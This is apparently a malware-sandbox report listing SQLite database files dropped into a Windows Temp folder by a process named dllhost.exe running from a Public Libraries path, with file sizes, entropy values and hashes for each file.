                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gGRIXTvL4L

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gHtUgxyrYe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gOO1NTMJ2P

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gPFzavWqXX

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\gkDtlsd8Qe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\hGDtLRxmfp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\hQf1Oys2MH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\i2Mwdv6Uhu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\i7h2MJmMoo

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\iMO5un7m6M

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\iTAqsfKJe2

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\iqyGkMix3Z

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\jowYy0BIh6

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\k5B3z834EY

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\kEZ9xKFqO8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ksRax5uDza

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\lBfYotOhpu

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\lhYe7nlttf

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\lqpbnXpWsS

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\lxqIUhEnee

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\m2Xj4dS0Yp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\m4qyZ3B9x5

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
